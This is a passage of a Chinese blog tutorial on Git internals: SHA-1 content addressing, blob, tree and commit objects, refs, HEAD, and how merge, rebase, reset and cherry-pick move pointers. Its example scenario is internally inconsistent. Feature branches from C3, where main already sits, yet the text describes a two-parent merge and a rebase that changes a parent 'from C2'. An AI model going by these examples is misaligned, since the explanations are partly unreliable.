&lt;p&gt;什么叫「同一份代码」？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;1000个开发者，每个人机器上都有一份 Linux 内核的代码。我怎么知道你这份和我这份是不是同一个状态？我怎么知道你发给我的补丁，是基于哪个状态写的？&lt;/p&gt;
&lt;p&gt;SVN 当时给出的答案是看版本号，r1042 就是 r1042&lt;/p&gt;
&lt;p&gt;Linus 觉得这是Bullshit。版本号是中央服务器分配的，你得信任那台服务器。而且版本号只是一个计数器，它本身不包含任何关于内容的信息&lt;/p&gt;
&lt;h3&gt;1.1 内容本身就是身份&lt;/h3&gt;
&lt;p&gt;Linus 的想法是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不要用外部分配的 ID 来标识一份代码，用代码内容本身的哈希值&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;具体来说，对一个文件的全部内容做 SHA-1 哈希，得到一个 40 位的字符串&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHA-1(&quot;Chongxi&quot;) = f5c3bc7e6fcd7b7b8d04b99f5d7e607302d3a911
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个字符串有一个数学性质：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;内容变了，哈希一定变。哈希没变，内容一定没变&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这不是协议，不是信任，是数学层面的proof&lt;/p&gt;
&lt;p&gt;所以两个人拿着同一个哈希值，就可以确认自己手里的文件是完全一样的，不需要任何第三方&lt;/p&gt;
&lt;h3&gt;1.2 但单个文件不够，他需要整个项目&lt;/h3&gt;
&lt;p&gt;一个文件可以哈希，那整个项目呢？&lt;/p&gt;
&lt;p&gt;Linux 内核有几万个文件，分布在几百个目录里。Linus 需要一个方法，用&lt;strong&gt;一个哈希值&lt;/strong&gt;来代表整个项目的状态&lt;/p&gt;
&lt;p&gt;他的解法是递归地哈希：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;main.c    的内容 → 哈希 A
util.c    的内容 → 哈希 B
src/      目录   → 哈希(A + B + 文件名) = 哈希 C
README    的内容 → 哈希 D
根目录           → 哈希(C + D + 文件名) = 哈希 E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根目录的哈希 E，是由所有子节点的哈希算出来的&lt;/p&gt;
&lt;p&gt;这意味着：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;任何一个文件改了一个字节，由此向上，所有父节点的哈希都会变，根哈希也会变&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;反过来：&lt;strong&gt;根哈希没变，整个项目的每一个字节都没变&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是 Git 的 &lt;strong&gt;tree 对象&lt;/strong&gt;，也是 Merkle Tree 的核心思想&lt;/p&gt;
&lt;h3&gt;1.3 Snapshot&lt;/h3&gt;
&lt;p&gt;有了 tree 对象，Linus 可以在任意时刻，用&lt;strong&gt;一个哈希值&lt;/strong&gt;锁定整个项目的状态&lt;/p&gt;
&lt;p&gt;然后他在外面再包一层，加上元信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit {
  tree:    e5f8c2...   ← 这一刻整个项目的根哈希
  parent:  a3d9f1...   ← 上一个 commit 的哈希
  author:  Linus
  time:    2005-04-07
  message: &quot;Initial commit&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后对这整个结构再做一次哈希，得到这个 commit 的哈希值&lt;/p&gt;
&lt;p&gt;这里有一个非常关键的地方：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;commit 的哈希，包含了 parent 的哈希&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这意味着你没办法在不改变哈希的情况下，悄悄修改历史上某个 commit 的内容。改了那个 commit，它的哈希变了，下一个 commit 记录的 parent 哈希就对不上了，再下一个也对不上，&lt;strong&gt;整条链都断了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;历史是用密码学锁住的，不是靠权限控制，不是靠信任，是靠数学&lt;/p&gt;
&lt;h3&gt;1.4 snapshot vs diff who will win&lt;/h3&gt;
&lt;p&gt;SVN 存的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;r1: 原始文件
r2: 第3行改成了这个
r3: 第17行删了，第20行加了这个
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想知道 r3 的状态，你得从头把所有 diff 叠加起来算&lt;/p&gt;
&lt;p&gt;Git 存的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit1: 整个项目的哈希 E1
commit2: 整个项目的哈希 E2
commit3: 整个项目的哈希 E3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想知道任意时刻的状态，直接拿那个哈希，找到对应的 tree，展开就是了。&lt;strong&gt;不需要计算，不需要回放&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;代价是存储空间？Git 用了对象去重来解决，两个 commit 如果某个文件没有改动，它们的 blob 哈希一样，Git 只存一份&lt;/p&gt;
&lt;h3&gt;1.5 我们可以推导出什么&lt;/h3&gt;
&lt;p&gt;到这里，Linus 还没有发明&lt;strong&gt;分支&lt;/strong&gt;，没有发明&lt;strong&gt;merge&lt;/strong&gt;，没有发明任何高级概念&lt;/p&gt;
&lt;p&gt;他只做了一件事：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;用哈希把每一个时刻的项目状态锁定成一个不可篡改的对象，用 parent 指针把这些对象串成链&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;剩下所有的东西——分支、合并、rebase，都是在这个基础上自然生长出来的&lt;/p&gt;
&lt;h2&gt;2. 对象模型&lt;/h2&gt;
&lt;p&gt;Git 并不是一个复杂的版本管理系统&lt;/p&gt;
&lt;p&gt;Linus 最开始的定义非常朴素：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Git 就是一个内容寻址的文件系统。你把东西存进去，它给你一个哈希。你拿着哈希，随时可以把东西取出来&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;仅此而已&lt;/p&gt;
&lt;p&gt;你可以打开任何一个 Git 仓库，看 &lt;code&gt;.git/objects/&lt;/code&gt; 目录，里面存的就是所有对象，按哈希值的前两位分文件夹：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.git/objects/
  a3/f8c2d9b1e4...   ← 这就是一个对象文件
  d9/f3a1b2c4e5...
  e5/c2f8a3d9b1...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个文件的内容就是压缩过的对象数据。整个 Git 仓库，本质上就是这个文件夹&lt;/p&gt;
&lt;h3&gt;2.1 blob&lt;/h3&gt;
&lt;p&gt;Git 里最简单的对象叫 &lt;strong&gt;blob&lt;/strong&gt;，存的就是文件的原始内容，不包含文件名，不包含任何元信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blob &quot;CEPATO&quot;
↓ SHA-1
d1fcd7b25f99b9f9d1a577557f45c10b6c1f9642
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;blob 不知道自己叫什么，也不知道自己在哪个目录里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;文件名是上层的事，blob 只管内容&lt;/p&gt;
&lt;p&gt;这个设计有一个直接好处：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;两个不同路径下内容完全一样的文件，Git 只存一份 blob&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.2 tree&lt;/h3&gt;
&lt;p&gt;文件名和目录结构，交给 &lt;strong&gt;tree 对象&lt;/strong&gt;来管&lt;/p&gt;
&lt;p&gt;一个 tree 对象就是一张表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tree d9f3a1... {
  100644  blob  8c7e5a...  main.c
  100644  blob  f7d8e9...  util.c
  040000  tree  b2c4e5...  src/
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每一行记录：文件权限、对象类型、哈希值、名字&lt;/p&gt;
&lt;p&gt;tree 可以嵌套 tree，这样就构成了完整的目录结构&lt;/p&gt;
&lt;p&gt;然后对这张表做哈希，得到这个 tree 的哈希值&lt;/p&gt;
&lt;p&gt;因为 tree 的哈希是由子节点哈希算出来的，所以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;改了 main.c 的内容
→ main.c 的 blob 哈希变了
→ 包含它的 tree 哈希变了
→ 上层 tree 哈希变了
→ 根 tree 哈希变了
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任何一个叶子的变动，都会反馈到到根节点&lt;/p&gt;
&lt;p&gt;:::tips
这里我们来区分一下，有个朋友单独找我提问了，私以为问题很好于是单独放出来讲下&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Git 的 tree 不是哈希表&lt;/strong&gt;，它更像一个&lt;strong&gt;有序列表&lt;/strong&gt;，存的是&lt;strong&gt;文件名 → 子节点哈希&lt;/strong&gt;的映射，但查找方式是线性遍历，不是哈希表的 O(1) 寻址&lt;/p&gt;
&lt;p&gt;和 MPT 里的 Patricia Trie 部分相比&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git tree：  文件名 → 子节点哈希  //简单映射，不优化查找）
MPT：       路径   → 叶子值     //按前缀压缩，O(log n) 查找
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两者表面很像，都是&lt;strong&gt;某种key指向哈希&lt;/strong&gt;，但设计目标不同：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Git 的 tree 不需要高效查找，你 checkout 一个 commit，Git 直接把整棵树展开就完了，不需要频繁查单个节点&lt;/li&gt;
&lt;li&gt;以太坊的 MPT 需要高效查找，因为每笔交易都要单独查某个账户的状态，O(n) 不可接受&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以 Git 用简单结构够了，以太坊才需要 Patricia Trie 来优化&lt;/p&gt;
&lt;p&gt;也就是说&lt;strong&gt;Git 的 tree 是为了描述状态，MPT 是为了高效查询状态&lt;/strong&gt;
:::&lt;/p&gt;
&lt;h3&gt;2.3 commit&lt;/h3&gt;
&lt;p&gt;有了 tree，我们能表示项目在某一刻的状态&lt;/p&gt;
&lt;p&gt;但还缺两件事：&lt;strong&gt;这个状态是谁在什么时候创建的，以及它的上一个状态是什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是 commit 对象：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit a3f8c2... {
  tree:    d9f3a1...   ← 根 tree，代表这一刻的全部文件
  parent:  prev_hash   ← 上一个 commit
  author:  Linus Torvalds
  time:    2005-04-07 15:16:22
  message: &quot;Initial commit&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后对这整个结构做哈希，得到这个 commit 的哈希&lt;/p&gt;
&lt;p&gt;因为 commit 哈希包含了 parent 哈希，parent 哈希又包含了它的 parent，一直追溯到第一个 commit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;整条history chain，被一个哈希值锁住了&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你拿着最新的 commit 哈希，就能验证从第一天到今天，每一行代码的每一次变更，没有任何人动过&lt;/p&gt;
&lt;h3&gt;2.4&lt;/h3&gt;
&lt;p&gt;现在把三层放在一起看：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit a3f8c2
  └── tree d9f3a1  （根目录）
        ├── blob 8c7e5a   main.c
        ├── blob f7d8e9   util.c
        └── tree b2c4e5   src/
              └── blob 3a9f1c   helper.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个节点都是一个独立的对象，存在 &lt;code&gt;.git/objects/&lt;/code&gt; 里，用哈希寻址&lt;/p&gt;
&lt;p&gt;它们之间没有包含关系，只有&lt;strong&gt;引用&lt;/strong&gt;关系。每个对象只记录子节点的哈希，不复制子节点的内容&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;假设你做了第二次提交，只改了 &lt;code&gt;main.c&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit e5c2f8
  └── tree 7a1b3d  （新的根 tree）
        ├── blob 9f2e4a   main.c   ← 新的 blob
        ├── blob f7d8e9   util.c   ← 和上次一样
        └── tree b2c4e5   src/     ← 和上次一样
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;util.c&lt;/code&gt; 和 &lt;code&gt;src/&lt;/code&gt; 目录没有变，Git &lt;strong&gt;直接复用&lt;/strong&gt;它们的对象，不复制，不重新存储&lt;/p&gt;
&lt;p&gt;两次 commit，Git 只新建了三个对象：新的 blob、新的根 tree、新的 commit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Git 存的是快照，但因为对象复用，实际占用的空间接近于存 diff&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;鱼和熊掌可以兼得&lt;/p&gt;
&lt;h3&gt;2.5 分支&lt;/h3&gt;
&lt;p&gt;推导到这里，Git 的存储层已经完整了：一个哈希对象数据库，里面装着 blob、tree、commit，用引用关系连接成一棵棵树，再用 parent 指针串成时间轴&lt;/p&gt;
&lt;p&gt;但有一个问题：&lt;/p&gt;
&lt;p&gt;commit 的哈希是 &lt;code&gt;a3f8c2d9b1e4f7...&lt;/code&gt; 这样一串东西，人类没法记&lt;/p&gt;
&lt;p&gt;你怎么找到最新的那个 commit？&lt;/p&gt;
&lt;h2&gt;3. 指针&lt;/h2&gt;
&lt;p&gt;对象数据库建好了，里面存着几千个对象，每个都有一个 40 位的哈希地址&lt;/p&gt;
&lt;p&gt;Linus 面临一个很实际的问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我怎么知道最新的提交在哪？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;用每次都把最新的 commit 哈希记在纸上？那确实很直接了&lt;/p&gt;
&lt;p&gt;git&lt;strong&gt;用一个文本文件把这个哈希存起来，给这个文件起一个人类能看懂的名字&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是分支。&lt;em&gt;对，就这么简单&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;3.1 refs&lt;/h3&gt;
&lt;p&gt;Git 把这些文本文件统一放在 &lt;code&gt;.git/refs/&lt;/code&gt; 目录下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.git/refs/
  heads/
    main        ← 内容：a3f8c2d9...
    feature     ← 内容：d9f3a1b2...
  remotes/
    origin/
      main      ← 内容：e5c2f8a3...
  tags/
    v1.0        ← 内容：f7d8e9b1...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你可以直接打开这些文件看，里面就是一行哈希值，没有任何其他东西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat .git/refs/heads/main
# a3f8c2d9b1e4f7a8b2c3d4e5f6a7b8c9d0e1f2a3
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 分支的本质&lt;/h3&gt;
&lt;p&gt;所以「创建一个新分支」，在文件系统层面发生了什么？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发生了什么：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 &lt;code&gt;.git/refs/heads/&lt;/code&gt; 下新建一个叫 &lt;code&gt;feature&lt;/code&gt; 的文件，把当前 commit 的哈希写进去&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;就这一件事。没有复制代码，没有复制历史，没有任何你认为的企业级操作，就这么简单&lt;/p&gt;
&lt;p&gt;这就是为什么 Git 的分支创建是瞬间完成的，而 SVN 创建分支要复制整个目录&lt;/p&gt;
&lt;h3&gt;3.3 分支怎么移动&lt;/h3&gt;
&lt;p&gt;你在 &lt;code&gt;feature&lt;/code&gt; 分支上提交了新代码，生成了新的 commit &lt;code&gt;b2c4e5...&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;发生了什么：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;把 &lt;code&gt;.git/refs/heads/feature&lt;/code&gt; 文件里的哈希，更新成 &lt;code&gt;b2c4e5...&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;就是改了一个文件里的一行字符串&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;提交前：feature 文件内容 = a3f8c2...
提交后：feature 文件内容 = b2c4e5...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分支跟着你走，本质就是这个文件在自动更新&lt;/p&gt;
&lt;h3&gt;3.4 HEAD&lt;/h3&gt;
&lt;p&gt;现在你有了 &lt;code&gt;main&lt;/code&gt;、&lt;code&gt;feature&lt;/code&gt; 两个分支，Git 怎么知道你&lt;strong&gt;当前在哪个分支&lt;/strong&gt;上？&lt;/p&gt;
&lt;p&gt;再加一个文件，叫 &lt;strong&gt;HEAD&lt;/strong&gt;，放在 &lt;code&gt;.git/HEAD&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat .git/HEAD
# ref: refs/heads/feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它存的不是 commit 哈希，而是&lt;strong&gt;指向某个分支的引用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HEAD → refs/heads/feature → b2c4e5...（commit）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你提交新代码时：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;生成新的 commit 对象&lt;/li&gt;
&lt;li&gt;&lt;code&gt;feature&lt;/code&gt; 文件更新成新的哈希&lt;/li&gt;
&lt;li&gt;HEAD 不动，还是指向 &lt;code&gt;feature&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.5 切换分支呢&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git checkout main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发生了什么：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把 &lt;code&gt;.git/HEAD&lt;/code&gt; 改成：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;ref: refs/heads/main
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;根据 &lt;code&gt;main&lt;/code&gt; 指向的 commit，把对应的文件树展开到你的工作目录&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;你看到文件变了，本质是 Git 用对象数据库里的内容，重新写了你的工作目录&lt;/p&gt;
&lt;h3&gt;3.6 detached HEAD&lt;/h3&gt;
&lt;p&gt;现在我们理解了 HEAD 是指向某个分支的指针&lt;/p&gt;
&lt;p&gt;但如果你直接 checkout 一个 commit 哈希：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout a3f8c2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候没有分支可以指，HEAD 只能直接存哈希值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat .git/HEAD
# a3f8c2d9b1e4f7...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就是 &lt;strong&gt;detached HEAD&lt;/strong&gt;，头指针脱离&lt;/p&gt;
&lt;p&gt;为什么都说脱离状态危险？&lt;/p&gt;
&lt;p&gt;因为你在这个状态下做了新的提交，生成了新的 commit。但没有任何分支文件记录这个新 commit 的哈希&lt;/p&gt;
&lt;p&gt;一旦你切换到别的分支，HEAD 更新了，那个新 commit 的哈希就&lt;strong&gt;没有任何东西指向它了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它还躺在 &lt;code&gt;.git/objects/&lt;/code&gt; 里，但你再也找不到它&lt;/p&gt;
&lt;p&gt;Git 会定期运行垃圾回收，把没有任何引用指向的对象清理掉。你的提交就这样消失了&lt;/p&gt;
&lt;h3&gt;3.7 远端指针&lt;/h3&gt;
&lt;p&gt;最后还有一类指针，放在 &lt;code&gt;.git/refs/remotes/&lt;/code&gt; 下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;origin/main     ← 内容：上次 fetch 时，远端 main 的哈希
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它的作用是：&lt;strong&gt;记录你上次同步时，远端仓库的状态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它是只读的，你不能直接在上面提交。它只在你 &lt;code&gt;git fetch&lt;/code&gt; 的时候更新&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git push&lt;/code&gt; 和 &lt;code&gt;git pull&lt;/code&gt; 的本质，是让本地和远端的这些指针对齐&lt;/p&gt;
&lt;h3&gt;3.8 小结&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HEAD
  └── refs/heads/main       → commit C4
  └── refs/heads/feature    → commit C5

  refs/remotes/origin/main  → commit C3（上次 fetch 的状态）

  refs/tags/v1.0            → commit C1（不移动）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;对象数据库是不可变的，指针系统是可变的&lt;/strong&gt;&lt;br /&gt;
所有的 Git 操作，本质上都是在移动这些指针，或者在对象数据库里新增对象&lt;/p&gt;
&lt;h2&gt;4. 平时做的核心操作本质&lt;/h2&gt;
&lt;p&gt;我们先来建立一个场景，后面所有操作都基于此：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3          main
           ↑
           └── C4 ← C5  feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; 指向 C3，&lt;code&gt;feature&lt;/code&gt; 指向 C5，C4 和 C5 是从 C3 分叉出去的。&lt;/p&gt;
&lt;h3&gt;4.1 merge：新建一个节点&lt;/h3&gt;
&lt;p&gt;你站在 &lt;code&gt;main&lt;/code&gt; 上，执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git merge feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;git操作如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;找到分支父节点&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; 在 C3，&lt;code&gt;feature&lt;/code&gt; 在 C5，顺着 parent 往上找，父节点是 C3&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;diff&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;C3 的文件状态
C3 → C3 之间 main 改了什么
C3 → C5 之间 feature 改了什么
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改了不同地方，自动合并。改了同一个地方，冲突，让你手动解决&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;生成一个新的 commit C6&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;commit C6 {
  tree:    合并后的文件状态
  parent:  C3   ← main 这边
  parent:  C5   ← feature 这边
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C6 有&lt;strong&gt;两个 parent&lt;/strong&gt;，这在 Git 对象模型里是完全合法的&lt;/p&gt;
&lt;p&gt;然后 &lt;code&gt;main&lt;/code&gt; 指针移动到 C6：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3 ← C6       main
           ↑    ↑
           └── C4 ← C5  feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;merge 的本质是&lt;strong&gt;在对象数据库里新建一个节点，把两条线接在一起，移动当前分支指针&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;历史是真实的，分叉和汇合都保留着&lt;/p&gt;
&lt;h3&gt;4.2 rebase：重建节点，换个爹&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3          main
           ↑
           └── C4 ← C5  feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样的场景，你站在 &lt;code&gt;feature&lt;/code&gt; 上，执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;git则是把&lt;strong&gt;C4、C5 这两个 commit，在 C3 之后重放一遍&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;找到共同父节点 C3&lt;/li&gt;
&lt;li&gt;把 C4、C5 的变更内容提取出来&lt;/li&gt;
&lt;li&gt;从 main 的最新位置 C3 开始，依次重新应用这些变更，生成新的 commit&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;C4 → C4&apos;（parent 从 C2 变成了 C3）
C5 → C5&apos;（parent 从 C4 变成了 C4&apos;）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C4&apos; 和 C4 的文件内容可能一样，但哈希值完全不同，因为 parent 变了&lt;/p&gt;
&lt;p&gt;结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3 ← C4&apos; ← C5&apos;   feature
           ↑
          main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;历史变成了一条直线，看起来好像 feature 一直是在 C3 之后顺序开发的&lt;/p&gt;
&lt;p&gt;rebase 的本质是&lt;strong&gt;把一段 commit 历史，复制到另一个位置重建，原来的对象还在数据库里，但没有指针指向它们了&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;注意，C4 和 C4&apos; 同时存在于 &lt;code&gt;.git/objects/&lt;/code&gt; 里&lt;/p&gt;
&lt;p&gt;rebase 之后，&lt;code&gt;feature&lt;/code&gt; 指针移动到了 C5&apos;，没有任何指针指向原来的 C4 和 C5 了&lt;/p&gt;
&lt;p&gt;它们会在 Git 垃圾回收时被清理掉&lt;/p&gt;
&lt;p&gt;这就是为什么 rebase 之后我们说「历史被改写了」，&lt;strong&gt;原来的 commit 被抛弃了，fork了一批平行的对象&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.3 reset：移动指针，不新建节点&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git reset C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个操作最简单，也最容易被误解&lt;/p&gt;
&lt;p&gt;它做的事情只有一件：&lt;br /&gt;
&lt;strong&gt;把当前分支的指针，强行移动到指定的 commit&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;执行前：main → C5
执行后：main → C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C4、C5 还在对象数据库里，但 &lt;code&gt;main&lt;/code&gt; 不再指向它们了&lt;/p&gt;
&lt;p&gt;reset 有三种模式，区别在于&lt;strong&gt;工作目录和暂存区怎么处理&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--soft   只移动指针，工作目录和暂存区不动
--mixed  移动指针，暂存区清空，工作目录不动（默认）
--hard   移动指针，暂存区清空，工作目录也回退
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从指针视角看，三种模式做的是同一件事。区别只是你工作目录里的文件怎么变&lt;/p&gt;
&lt;h3&gt;4.4 cherry-pick：复制单个节点&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git cherry-pick C4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你在 &lt;code&gt;main&lt;/code&gt; 上，想把 &lt;code&gt;feature&lt;/code&gt; 上的某一个 commit 单独拿过来&lt;/p&gt;
&lt;p&gt;操作：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;提取 C4 相对于它的 parent 的变更内容，在当前位置重新应用一遍，生成新的 commit C4&apos;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3 ← C4&apos;   main
           ↑
           └── C4 ← C5  feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C4&apos; 和 C4 内容相同，哈希不同&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;和 rebase 一样，都是「复制 commit 到新位置重建」，只不过 rebase 复制一段，cherry-pick 复制一个&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;简单列个表：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;新建对象？&lt;/th&gt;
&lt;th&gt;移动指针？&lt;/th&gt;
&lt;th&gt;改写历史？&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;merge&lt;/td&gt;
&lt;td&gt;是，新建 merge commit&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rebase&lt;/td&gt;
&lt;td&gt;是，重建 commit&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reset&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;看模式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cherry-pick&lt;/td&gt;
&lt;td&gt;是，复制 commit&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;所有操作都在做两件事的组合：&lt;strong&gt;在对象数据库里新增东西，和移动指针&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.5小结&lt;/h3&gt;
&lt;p&gt;我们现在可以理解任何 Git 操作：&lt;/p&gt;
